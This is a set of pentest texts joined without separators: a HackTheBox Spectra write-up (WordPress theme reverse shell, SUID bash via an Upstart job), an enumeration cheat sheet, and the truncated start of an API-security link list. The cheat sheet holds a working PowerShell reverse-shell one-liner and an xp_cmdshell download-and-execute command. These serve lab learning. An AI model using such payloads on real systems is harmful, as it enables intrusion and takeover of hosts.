# Spectra - HackTheBox ?, 20 Base Points, Easy ## Machine ![‏‏Spectra.JPG](images/‏‏Spectra.JPG) ## Spectra Solution ### User So let's start with ```nmap``` scanning: ```console ┌─[evyatar@parrot]─[/hackthebox/Spectra] └──╼ $nmap -sC -sV -oA nmap/Spectra 10.10.10.229 Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-20 20:05 IST Nmap scan report for 10.10.10.229 Host is up (0.079s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.1 (protocol 2.0) | ssh-hostkey: |_ 4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA) 80/tcp open http nginx 1.17.4 |_http-server-header: nginx/1.17.4 |_http-title: Site doesn't have a title (text/html). 3306/tcp open mysql MySQL (unauthorized) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds ``` First, Let's browse port 80: ![port80.JPG](images/port80.JPG) ```Software Issue Tracker``` pointed to [http://spectra.htb/main/index.php](http://spectra.htb/main/index.php) And ```Test``` pointed to [http://spectra.htb/testing/index.php](http://spectra.htb/testing/index.php). So Let's add ```spectra.htb``` to ```/etc/hosts``` file as follow: ```bash 10.10.10.229 spectra.htb ``` After some enumerate on ```http://spectra.htb/testing/``` we can see the file ```wp-config.php.save``` with the following content: ```php <?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://wordpress.org/support/article/editing-wp-config-php/ * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'dev' ); /** MySQL database username */ define( 'DB_USER', 'devtest' ); /** MySQL database password */ define( 'DB_PASSWORD', 'devteam01' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); /** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8' ); /** The Database Collate type. Don't change this if in doubt. */ define( 'DB_COLLATE', '' ); /**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define( 'AUTH_KEY', 'put your unique phrase here' ); define( 'SECURE_AUTH_KEY', 'put your unique phrase here' ); define( 'LOGGED_IN_KEY', 'put your unique phrase here' ); define( 'NONCE_KEY', 'put your unique phrase here' ); define( 'AUTH_SALT', 'put your unique phrase here' ); define( 'SECURE_AUTH_SALT', 'put your unique phrase here' ); define( 'LOGGED_IN_SALT', 'put your unique phrase here' ); define( 'NONCE_SALT', 'put your unique phrase here' ); /**#@-*/ /** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_'; /** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the documentation. * * @link https://wordpress.org/support/article/debugging-in-wordpress/ */ define( 'WP_DEBUG', false ); /* That's all, stop editing! Happy publishing. */ /** Absolute path to the WordPress directory. */ if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', __DIR__ . '/' ); } /** Sets up WordPress vars and included files. */ require_once ABSPATH . 'wp-settings.php'; ``` Let's save the db credentials maybe we use them later: ```php define( 'DB_NAME', 'dev' ); /** MySQL database username */ define( 'DB_USER', 'devtest' ); /** MySQL database password */ define( 'DB_PASSWORD', 'devteam01' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); ``` We can enumerate username as follow: ```http://spectra.htb/main/?author=1``` ```http://spectra.htb/main/?author=2``` etc.. We can see we have ```administrator``` user. Because It's wordpress we can try login with the following link [http://spectra.htb/main/wp-login.php](http://spectra.htb/main/wp-login.php). If we try username ```adminsitrator``` and password ```devteam01``` (from ```wp-config.php.save```) It's work. Using the following article [https://pentaroot.com/exploit-wordpress-backdoor-theme-pages/](https://pentaroot.com/exploit-wordpress-backdoor-theme-pages/) we can get reverse shell by editing WordPress Theme using the following php reverse shell [http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz](http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz). So Let's edit the ```archive.php```. Click on Appearance -> Theme Editor -> Select Twenty Seventeen -> Archive.php and paste the php reverse shell: ![themeeditor.JPG](images/themeeditor.JPG) Listen on port ```1234``` (in my case): ```console ┌─[evyatar@parrot]─[/hackthebox/Spectra] └──╼ $nc -lvp 1234 listening on [any] 1234 ... ``` And browse to [http://spectra.htb/main/wp-content/themes/twentyseventeen/archive.php](http://spectra.htb/main/wp-content/themes/twentyseventeen/archive.php) And we got shell: ```console ┌─[evyatar@parrot]─[/hackthebox/Spectra] └──╼ $nc -lvp 1234 listening on [any] 1234 ... connect to [10.10.14.14] from spectra.htb [10.10.10.229] 45880 Linux spectra 5.4.66+ #1 SMP Tue Dec 22 13:39:49 UTC 2020 x86_64 AMD EPYC 7401P 24-Core Processor AuthenticAMD GNU/Linux 16:27:46 up 5:23, 0 users, load average: 0.47, 0.16, 0.12 USER TTY LOGIN@ IDLE JCPU PCPU WHAT uid=20155(nginx) gid=20156(nginx) groups=20156(nginx) $ ``` From ```/usr/local/share/nginx/html/main/wp-config.php``` we can get another credentials (Let's save them also): ```php /** The name of the database for WordPress */ define( 'DB_NAME', 'dev' ); /** MySQL database username */ define( 'DB_USER', 'dev' ); /** MySQL database password */ define( 'DB_PASSWORD', 'development01' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); ``` After running [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) we can see that on ```/etc``` directory we can find file that contains password of ```katie``` user: ```console $ pwd /etc/autologin $ cat passwd SummerHereWeCome!! ``` Le't login to ```katie``` user with ```SummerHereWeCome!!``` password: ```console ┌─[evyatar@parrot]─[/hackthebox/Spectra] └──╼ $ ssh [email protected] Password: katie@spectra ~ $ cat user.txt e89d27fe195e9114ffa72ba8913a6130 katie@spectra ~ $ ``` ### Root Let's try run ```sudo -l```: ``` katie@spectra ~ $ sudo -l User katie may run the following commands on spectra: (ALL) SETENV: NOPASSWD: /sbin/initctl katie@spectra ~ $ ``` initctl admit with System Administrators to link & communicate with Upstart. Able to manage user jobs. As example If D-Bus has been configured to allow non privileged users to invoke all Upstart D-Bus methods initctl is able to manage user-jobs. Usually ```initctl``` works with service configuration file located at /etc/init directory on linux servers. We can inject malicious code into that services. Let's check current status of the services using list command via initctl. ```console katie@spectra ~ $ sudo -u root /sbin/initctl list crash-reporter-early-init stop/waiting cups-clear-state stop/waiting dbus_session stop/waiting failsafe-delay stop/waiting fwupdtool-activate stop/waiting send-reclamation-metrics stop/waiting smbproviderd stop/waiting tpm_managerd start/running, process 814 udev start/running, process 237 test stop/waiting test1 stop/waiting autologin stop/waiting boot-services start/running cryptohome-proxy stop/waiting cryptohomed-client stop/waiting fixwireless stop/waiting fwupdtool-getdevices stop/waiting googletts stop/waiting ippusb stop/waiting memd start/running, process 3036 ml-service stop/waiting neverware_write_running_from_file stop/waiting avahi start/running, process 2045 boot-update-firmware start/running cras start/running, process 2006 crosdns stop/waiting cupsd stop/waiting failsafe start/running modemmanager start/running, process 2046 permission_broker start/running, process 1977 send-mount-encrypted-metrics stop/waiting usbguard stop/waiting test7 stop/waiting anomaly-detector start/running, process 2713 cups-pre-upstart-socket-bridge stop/waiting dbus start/running, process 610 image-burner stop/waiting ippusb-post-upstart-socket-bridge stop/waiting log-bootid-on-boot stop/waiting network-services start/running oobe_config_restore stop/waiting pca_agentd start/running, process 1163 send-powerwash-count stop/waiting test6 stop/waiting autoinstall stop/waiting crx-import stop/waiting eeti-gtouch stop/waiting file_attrs_cleaner_tool stop/waiting flatpak_daemon stop/waiting halt stop/waiting imageloader stop/waiting login stop/waiting pre-shutdown stop/waiting rc-local start/running, process 712 reboot stop/waiting regulatory-domain stop/waiting send-recovery-metrics stop/waiting trunksd stop/waiting ui-collect-machine-info stop/waiting virtualbox stop/waiting test5 stop/waiting install-logs stop/waiting metrics_daemon start/running, process 3020 metrics_library start/running shill-start-user-session stop/waiting sommelier stop/waiting wpasupplicant start/running, process 771 test4 stop/waiting test10 stop/waiting activate_date start/running, process 2756 attestationd start/running, process 1734 cleanup-shutdown-logs stop/waiting dlm-resume stop/waiting flatpak_update stop/waiting p2p stop/waiting rt-limits stop/waiting seneschal stop/waiting ui-init-late stop/waiting boot-complete start/running bootlockboxd stop/waiting crash-boot-collect stop/waiting crash-sender start/running, process 1915 cros_healthd start/running, process 3653 neverware_fixsnd stop/waiting pepper-flash-player stop/waiting send-boot-mode stop/waiting tpm-probe stop/waiting lockbox-cache start/running pre-startup stop/waiting startup stop/waiting ui-respawn stop/waiting uinput stop/waiting usbguard-wrapper stop/waiting cgroups stop/waiting chapsd start/running, process 795 conntrackd stop/waiting cros_configfs start/running iptables stop/waiting machine-info stop/waiting neverware_dmi_logger stop/waiting patchpanel start/running, process 1918 pstore stop/waiting trace_marker-test stop/waiting test9 stop/waiting bluetoothlog stop/waiting boot-alert-ready stop/waiting boot-splash stop/waiting brltty stop/waiting cryptohomed start/running, process 1067 lorgnette stop/waiting neverware_fixnet stop/waiting powerd stop/waiting preload-network stop/waiting pulseaudio stop/waiting sysrq-init stop/waiting system-proxy stop/waiting upstart-socket-bridge start/running, process 2081 test8 stop/waiting crash-reporter stop/waiting debugd stop/waiting ip6tables stop/waiting ippusb-pre-upstart-socket-bridge stop/waiting openssh-server stop/waiting send-kernel-errors stop/waiting shill-stop-user-session stop/waiting tcsd start/running tlsdated start/running, process 2754 tracefs-init stop/waiting authpolicyd stop/waiting check_for_plugin_updates stop/waiting chunneld stop/waiting cryptohome-update-userdataauth start/running, process 1976 kerberosd stop/waiting logout stop/waiting mount-encrypted stop/waiting shill start/running, process 1156 swap stop/waiting trim stop/waiting udev-trigger stop/waiting cpufreq stop/waiting cros-machine-id-regen-periodic start/running, process 2580 cups-post-upstart-socket-bridge stop/waiting neverware-client-id stop/waiting report-power-metrics stop/waiting send-disk-metrics stop/waiting system-services start/running update-engine start/running, process 2041 vm_concierge stop/waiting btdispatch start/running, process 2736 cros-machine-id-regen-network stop/waiting dlm stop/waiting ext-pci-drivers-allowlist stop/waiting firmware-version stop/waiting flatpak stop/waiting fwupdtool-update stop/waiting imageloader-shutdown stop/waiting mtpd stop/waiting send-boot-metrics stop/waiting send-hardware-info stop/waiting vm_cicerone stop/waiting vmlog_forwarder stop/waiting bluetoothd start/running, process 2699 cros-disks stop/waiting shill-event stop/waiting shill_respawn stop/waiting syslog start/running, process 658 udev-trigger-early stop/waiting test3 stop/waiting dlm-suspend stop/waiting init-homedirs stop/waiting install-completed start/running journald start/running, process 566 log-rotate start/running, process 2051 neverware_daemon start/running, process 1936 neverware_fixhw stop/waiting oobe_config_save stop/waiting report-boot-complete stop/waiting send-uptime-metrics stop/waiting ui stop/waiting ureadahead stop/waiting usb_bouncer stop/waiting test2 stop/waiting ``` We can see script format, Let’s try to inject a code which set SUID permission ```/bin/bash``` from that attack can takeover bash shell as root by modifying service ```test``` (which is customized service, does not come up as default job) ```console katie@spectra ~ $ cat /etc/init/test5.config description "Test node.js server" author "katie" start on filesystem or runlevel [2345] stop on shutdown script chmod +s /bin/bash end script ``` Now let’s restart ```test``` service and run ```/bin/bash -p``` to get shell with SUID ```console katie@spectra ~ $ sudo /sbin/initctl start test test start/running, process 76277 katie@spectra ~ $ /bin/bash -p bash-4.3# cat /root/root.txt d44519713b889d5e1f9e536d0c6df2fc ```
# Enumeration Quick Reference ## Contents - [Enumeration Quick Reference](#enumeration-quick-reference) * [Contents](#contents) * [Checklist](#checklist) + [Masscan](#masscan) + [Network Enum:](#network-enum-) + [Traceroute and Ping](#traceroute-and-ping) + [NetDiscover (ARP Scanning):](#netdiscover--arp-scanning--) * [Host enum](#host-enum) * [Service Enum](#service-enum) + [TCP Port 21: FTP](#tcp-port-21--ftp) + [TCP Port 25: SMTP (Webmail)](#tcp-port-25--smtp--webmail-) + [TCP Port 53: DNS](#tcp-port-53--dns) + [TCP Port 88: Kerberos](#tcp-port-88--kerberos) + [TCP Port 139: NetBIOS](#tcp-port-139--netbios) + [TCP Port 389: LDAP](#tcp-port-389--ldap) + [TCP Port 445: SMB](#tcp-port-445--smb) + [TCP Port 1433: MSSQL](#tcp-port-1433--mssql) + [TCP Port 2049: NFS](#tcp-port-2049--nfs) + [TCP Port 3306: MySQL](#tcp-port-3306--mysql) + [UDP Port 161, 162: SNMP](#udp-port-161--162--snmp) * [Resources](#resources) ## Checklist - [ ] Recon (OSINT) - [ ] (If given a range): what hosts are on the network - [ ] Open well known ports (0-1023) - [ ] What are these ports used for (banner grab if needed) - [ ] Open high ports (1024-65535) - [ ] Operating system - [ ] Identify open services - [ ] FTP or SMB anon log in - [ ] Identify versions of services, look for vulns / exploits (searchsploit, github, google) - [ ] HTTP / HTPPS services -> Web enum (see Web folder), look for web vulns on pages - [ ] Brute force any services log ons / log in pages [Enumeration Mind Map](https://github.com/theonlykernel/enumeration/wiki) ### Masscan Nmap is not ideal for lots of IPs. Masscan: seperates SYN send from ACK receive code, ids open/closed from response, less function but faster. Can be hard to get accurate results. masscan 192.168.1.1/24 -p 22,25,80,443,3389 --rate 50000 #fastest scan Get TLS cert info to identify a domain: openssl s_client -connect 10.10.10.10:443 2>/dev/null | openssl x509 -text | grep Subject: Screenshot web pages: python3 /opt/eyewitness/EyeWitness.py --web -f sitelist.txt --prepend-https ### Network Enum: for x in {1..254};do (ping -c 1 l.l.l.$x | grep "bytes from" &); done | cut -d " " nc -v -w3 -z 192.168.1.10 80 #netcat port scan sudo nmap -sn 192.168.1.1-254 #-sn host discovery only, best w/ root privs, --reason to see why hosts is up nmap -v -s 192.168.0.0/24 nmap -Pn -vv -F -sSU -T4 -oG /kali/192.168.15.200-254.xml 192.168.15.200-254 | grep -v 'filtered|closed' > /kali/quick_recon.txt smbeagle -c out.csv -n 10.10.10.0/24 -u user -p password #look for SMB shares ### Traceroute and Ping Identify router and sat hops. Typical TTLs / hop limits: 64 (Linux), 128 (Windows), 255 (networking devices). ping -c3 10.10.10.10 #Linux will run ping process indefinetly tracert 10.10.10.10 ### NetDiscover (ARP Scanning): netdiscover -i eth0 netdiscover -r 172.21.10.0/24 ## Host enum **Identify os, services/ports/versions. Save results to text files. ** [Fscan](https://github.com/shadow1ng/fscan/blob/main/README_EN.md) [Autorecon](https://github.com/Tib3rius/AutoRecon) ./fscan -h 10.10.10.10 #scan a host or network autorecon 127.0.0.1 --only-scans-dir -v sudo $(which autorecon) 10.10.10.10 #run autorecon with UDP scanning nmap -A -sV -T 4 -vv 127.0.0.1 nmap -sV -sT -p- --min-rate 200 -vv 127.0.0.1 OSCP common scan types: -A, -sU, -sS, sV, -sC, -O debug: -vv, -d, --reason nc -nvzw1 192.168.53.120 1-65535 2>&1 | grep open Run autorecon then open results folder in atom. Nmap scan types: -T0 or T1 (evade IDS or firewall detection) -sN (TCP NULL scan - no response if open or blocked by firewall, stealthiest) -sS (SYN scan, default if running as root, not logged by most targets) -sT (TCP 3 way handshake, default if nmap is running without root privileges) -sF (TCP FIN scan - no response if open or blocked by firewall) -sX (TCP XMAS scan - FINE/PSH/URG - no response if open or blocked by firewall) -sP, -Pn (ping sweeps) -sU (UDP scan) -sA (TCP ACK scan - see what ports are not filtered by a firewall) -sW (TCP Window / ACK scan - what ports are not filtered --scanflags (custom scan) -S <spoof ip>, --spoof-mac <spoof MAC> -D <decoy ip>, <own ip> -sI <Zombie ip> --traceroute -f fragment packets -6 (IPv6 scan) ## Service Enum nmap scripts: /usr/share/nmap/scripts, -sC. Use with -sV for best results. nmap --script <name> --script-help -sV --version-intensity script categories: auth Authentication related broadcast Host Discovery thu broadcast scanning brute Brute force login default Default scripts, same as -sC discovery Enum info (ex. database tables and DNS names) dos Detects servers vulnerable to Denial of Service (DoS) exploit Tries to exploit vulnerable services external Uses third-party service (like Geoplugin and Virustotal) fuzzer Fuzzing attacks intrusive Intrusive scripts (brute-force attacks and exploitation) malware Looks for backdoors safe Won’t crash the target version Retrieve service versions vuln Checks for vulnerabilities against database ### TCP Port 21: FTP [Enumerating ftp](https://book.hacktricks.xyz/pentesting/pentesting-ftp) Can I ... - [ ] Anonymously log in or use known creds? - [ ] See hidden files? - [ ] Download important files (ie. backup files, ssh priv keys, etc)? - [ ] Upload a webshell? - [ ] Find FTP exploits on searchsploit / Google? - [ ] Crack creds with hydra? - [ ] FTP bounce attack? [FTP Bounce Attack](https://book.hacktricks.xyz/network-services-pentesting/pentesting-ftp/ftp-bounce-attack) Logging In anon log in: ftp / no password or Anonymous: asdfasdf nmap -sV -Pn -vv -p 21 --script=ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221 hydra -C ftp/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -u 127.0.0.1 ftp Helpful FTP Commands list -r #list folder contents recursively (if allowed) Downloading files wget -m ftp://anonymous:[email protected] #downloading all files wget -m --no-passive ftp://anonymous:[email protected] #downloading all files without passive mode ### TCP Port 25: SMTP (Webmail) Identify Mail Server version and search for exploits on searchsploit / Google. Enumerate usernames. Attempt brute forcing of usernames, then passwords. [SMTP User Enumeration](https://pentestlab.blog/2012/11/20/smtp-user-enumeration/) smtp-user-enum -M VRF -u <user.txt> -t 127.0.0.1 nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 127.0.0.1 VRFY root #manually verify username, after connecting over telnet swaks --to root --from hacker --header "Subject: Test" --body "msg" --server 10.10.10.10 #send mail using swaks ### TCP Port 53: DNS [DNS Hacking (Beginner to Advanced)](http://resources.infosecinstitute.com/dns-hacking/) [DNS Enum](https://resources.infosecinstitute.com/topic/dns-enumeration-techniques-in-linux/#gref) DNS is commonly open on Windows domain controllers, not usually other devices. Reverse (PTR) lookup to resolve an IP to a domain name: dig +noall +answer @10.10.10.10 -x 10.10.10.10 Zone Transfer: dig -t axfr #zone transfer dig +noall +answer @10.10.10.10 axfr domain.com Brute force for subdomains: wfuzz -u http://10.10.10.10 -H "Host: FUZZ.site.com" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt ### TCP Port 88: Kerberos see active directory cheatsheet ### TCP Port 139: NetBIOS Usually SMB will be open as well. Scan network for NetBIOS name info: sudo nbtscan -v -s : 192.168.1.0/24 ### TCP Port 389: LDAP see Active Directory Cheat Sheet ### TCP Port 445: SMB [SMB enumeration with Kali Linux – enum4linux, acccheck and smbmap](https://hackercool.com/2016/07/smb-enumeration-with-kali-linux-enum4linuxacccheck-smbmap/) [Windows Null Session Enumeration](https://www.adampalmer.me/iodigitalsec/2013/08/10/windows-null-session-enumeration/) [NetBIOS Enumeration And Null Session](http://nrupentheking.blogspot.com/2011/02/netbios-enumeration-and-null-session.html) [NetBIOS and SMB Penetration Testing on Windows](http://www.hackingarticles.in/netbios-and-smb-penetration-testing-on-windows/) [Windows Account info via Authenticated SMB](https://www.sans.org/blog/plundering-windows-account-info-via-authenticated-smb-sessions/) [nbtscan Cheat Sheet](https://highon.coffee/blog/nbtscan-cheat-sheet/) Can I... - [ ] Identify a version - [ ] Enum with smbmap, enum4linux, nmap, crackmapexec - [ ] check for anon log in - [ ] check for common CVEs or exploits? (See below) [Eternal Blue](https://github.com/3ndG4me/AutoBlue-MS17-010) [enum4linux-ng](https://github.com/cddmp/enum4linux-ng) [enum4linux](https://github.com/0v3rride/Enum4LinuxPy) [crackmapexec](https://www.ivoidwarranties.tech/posts/pentesting-tuts/cme/crackmapexec-cheatsheet/) SAMBA 3.x-4.x #vulnerable to linux/samba/is_known_pipename SAMBA 3.5.11 #vulnerable to linux/samba/is_known_pipename Windows SMBv1 #vulnerable to MITM, not encrypted. Windows SMBv2 #Adds message intergrity signing. Windows SMBv3 #Supports encryption, resists MITM, message integrity signing. Access with smbclient or rpcclient smbclient -L 10.10.10.10 smbclient -U <HOST> -L 10.10.10.10 smbclient \\\\10.10.10.10\\share smbclient -L //10.10.10.10 -U user -m SMB2 if getting error "protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED or box is running SMB1 smbclient -L 10.10.10.3 --option='client min protocol=NT1' smbmap: smbmap -H 127.0.0.1 -d domain -u username -p password enum4linux: enum4linux -a 172.21.0.0 nmap: nmap --script smb-* -p 139,445, 172.21.0.0 nmap --script smb-enum-* -p 139,445, 172.21.0.0 CrackMapExec: crackmapexec smb 192.168.10.0/24 #SMB recon crackmapexec 172.21.0.0 -u Administrator -H [hash] --local-auth crackmapexec 172.21.0.0 -u Administrator -H [hash] --share crackmapexec smb 172.21.0.0/24 -u user -p 'Password' --local-auth -M mimikatz Impacket SmbClient: /usr/share/doc/python3-impacket/examples/smbclient.py [email protected] Impacket: python3 samdump.py SMB 172.21.0.0 SMB Exploits CVE-2022-24500: RCE from Github. CVE-2021-36972: unauth info disclosure. CVE-2020-1206: SMBleed, limited Win10 and Win Server 1903, 1909, and 2004. CVE-2020-0796: SMBGhost / CoronaBlue, widespread use. SMBv3compression exploit on Windows 10 / Server. CVE-2017-0144: Eternal Blue, WannaCry ransomware. [Chain SMBLeed and SMBGhost to get RCE](https://pentest-tools.com/blog/smbleedingghost-exploit) [SMBBleedingGhost Python Script](https://github.com/jamf/CVE-2020-0796-RCE-POC/tree/master) ### TCP Port 1433: MSSQL [MSSQL Injection Cheatsheet](https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet) Scanning: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP> Metasploit Modules: auxiliary/scanner/mssql/mssql_login #brute force login auxiliary/admin/mssql/mssql_enum #enum info exploit/windows/mssql/mssql_payload #get shell using creds To connect: sqsh -S 10.10.10.10 -U user -P password /usr/share/doc/python3-impacket/examples/mssqlclient.py #use impacket script to connect /usr/share/doc/python3-impacket/examples/mssqlclient.py HOST/username:[email protected] -windows-auth #log onto a Windows box Running shell commands using xp_cmdshell (reference article [here](https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-xp_cmdshell/)): Needs to be enabled and executable for your to use it. enable_xp_cmdshell #enable if using mssqlclient.py SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'; #check if enabled sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE; #configure and enable xp_cmdshell xp_cmdshell 'whoami'; Get a reverse shell using xp_cmdshell (host rev.ps1 file on attack box webserver): $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.10.10:8000/rev.ps1") | powershell -noprofile' #exec PowerShell script ### TCP Port 2049: NFS [Pentesting NFS](https://book.hacktricks.xyz/pentesting/nfs-service-pentesting) [No root squash](http://fullyautolinux.blogspot.com/2015/11/nfs-norootsquash-and-suid-basic-nfs.html) nmap scripts nfs-ls #List NFS exports and check permissions nfs-showmount #Like showmount -e nfs-statfs #disk statistics and info showmount -e 127.0.0.1 mkdir /mnt/share sudo mount -t nfs -o v2 127.0.0.1/share /mnt/share -o nolock ### TCP Port 3306: MySQL Attempt to brute force login. Look for http or https sites - might be SQLi vulnerability. mysql -h 10.10.10.10 -u root -p nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP> Once connected to a SQL server through a CLI: show databases; use db_name; show tables; show columns from table_name; select * from table_name; ### UDP Port 161, 162: SNMP [SNMP enumeration with snmpenum and snmpwalk](http://carnal0wnage.attackresearch.com/2007/07/over-in-lso-chat-we-were-talking-about.html) Simple Network Management Protocol: used to monitor different devices in a network. MIB: Management Information Base. Stores device information. Object Identifier: idenitifes a specific object (or category) of data in a MIB. OID info can be found here: http://oid-info.com/index.htm SNMP versions: SNMPv1 /2 / 2c: the authentication is based on a string (community string), data travels in plain-text. SNMPv3: uses username / password and community string. Data is encrypted. Public (RO) and private (RW) are default community strings. If you know a valid community string you can use snmpwalk or snmp-check to access the MIB and query an OID. Community strings are RO (read only) or RW (Read write). Actions that can be taken depend on the type of string. SNMP has data on: network interfaces (ipv4 and ipv6 adresses), usernames, uptime, server / OS version, processes running. SNMP Walk: snmpwalk -c public -v1 ipaddress 1 snmpwalk -c private -v1 ipaddress 1 snmpwalk -c manager -v1 ipaddress 1 Nmap: nmap 172.21.0.0 -Pn -sU -p 161 --script= /usr/share/nmap/scripts/snmp-brute.nse /usr/share/nmap/scripts/snmp-hh3c-logins.nse /usr/share/nmap/scripts/snmp-info.nse /usr/share/nmap/scripts/snmp-interfaces.nse /usr/share/nmap/scripts/snmp-ios-config.nse /usr/share/nmap/scripts/snmp-netstat.nse /usr/share/nmap/scripts/snmp-processes.nse /usr/share/nmap/scripts/snmp-sysdescr.nse /usr/share/nmap/scripts/snmp-win32-services.nse /usr/share/nmap/scripts/snmp-win32-shares.nse /usr/share/nmap/scripts/snmp-win32-software.nse /usr/share/nmap/scripts/snmp-win32-users.nse Metasploit aux modules: auxiliary/scanner/misc/oki_scanner auxiliary/scanner/snmp/aix_version auxiliary/scanner/snmp/arris_dg950 auxiliary/scanner/snmp/brocade_enumhash auxiliary/scanner/snmp/cisco_config_tftp #RW community string, default is private auxiliary/scanner/snmp/cisco_upload_file auxiliary/scanner/snmp/cnpilot_r_snmp_loot auxiliary/scanner/snmp/epmp1000_snmp_loot auxiliary/scanner/snmp/netopia_enum auxiliary/scanner/snmp/sbg6580_enum auxiliary/scanner/snmp/snmp_enum #need RO or RW communit string, public or private auxiliary/scanner/snmp/snmp_enum_hp_laserjet auxiliary/scanner/snmp/snmp_enumshares auxiliary/scanner/snmp/snmp_enumusers auxiliary/scanner/snmp/snmp_login Onesixtyone: brute force community strings onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 172.21.0.X Snmp-check snmp-check 172.21.0.0 -c public Impacket: python3 samdump.py SNMP 172.21.0.0 ## Resources http://www.0daysecurity.com/penetration-testing/enumeration.html Backup Link: https://web.archive.org/web/20201122081447/http://www.0daysecurity.com/penetration-testing/enumeration.html
# [awesome-apisec](https://github.com/arainho/awesome-apisec) <h4 align="center">A collection of awesome API Security tools and resources.</h4> <p align="center"> <a href="#about">About</a> • <a href="#api-keys-find-and-validate">API Keys: Find and validate</a> • <a href="#books">Books</a> • <a href="#cheatsheets">Cheatsheets</a> • <a href="#checklist">Checklist</a> • <a href="#conferences">Conferences</a> • </br> <a href="#deliberately-vulnerable-apis">Deliberately vulnerable APIs</a> • <a href="#design-architecture-development">Design, Architecture, Development</a> • <a href="#encyclopedias-projects-wikis-and-gitbooks">Encyclopedias, Projects, Wikis and GitBooks</a> • </br> <a href="#enumeration-scanning-and-exploration-steps">Enumeration, Scanning and exploration steps</a> • <a href="#firewalls">Firewalls</a> • <a href="#fuzzing-seclists-wordlists">Fuzzing, SecLists, Wordlists</a> • <a href="#http-101">HTTP 101</a> • <a href="#mind-maps">Mind maps</a> • </br> <a href="#newsletters">Newsletters</a> • <a href="#other-resources">Other resources</a> • <a href="#playlists">Playlists</a> • <a href="#podcasts">Podcasts</a> • <a href="#presentations-videos">Presentations, Videos</a> • <a href="#projects">Projects</a> • </br> <a href="#security-apis">Security APIs</a> • <a href="#specifications">Specifications</a> • <a href="#tools">Tools</a> • <a href="#training-workshops-labs">Training, Workshops, Labs</a> • <a href="#twitter">Twitter</a> • </br> • <a href="#contributions">Contributions</a> • </p> --- ## About The awesome-api-security (aka awesome-apisec) repository is collection of awesome API Security tools and resources. The focus goes to open-source tools and resources that benefit all the community. Please read the <a href="#contributions">contributions</a> section before opening a pull request. ## API Keys: Find and validate | Name | Description | | ---- | ----------- | | [API Guesser](https://api-guesser.netlify.app/) | Simple website to guess API Key / OAuth Token by Muhammad Daffa | |[API Key Leaks: Tools and exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/API%20Key%20Leaks) | An API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares. | | [Key-Checker](https://github.com/daffainfo/Key-Checker)| Go scripts for checking API key / access token validity. | | [Keyhacks](https://github.com/streaak/keyhacks)| Keyhacks is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid. | |[Private key usage verification ](https://github.com/trufflesecurity/driftwood) | Driftwood is a tool that can enable you to lookup whether a private key is used for things like TLS or as a GitHub SSH key for a user. | ## Books | Author | Publisher | Name | Description | | ----------- | --------- | -----| ----------- | | Emily Freeman | Data Theorem Special Edition | [API Security for 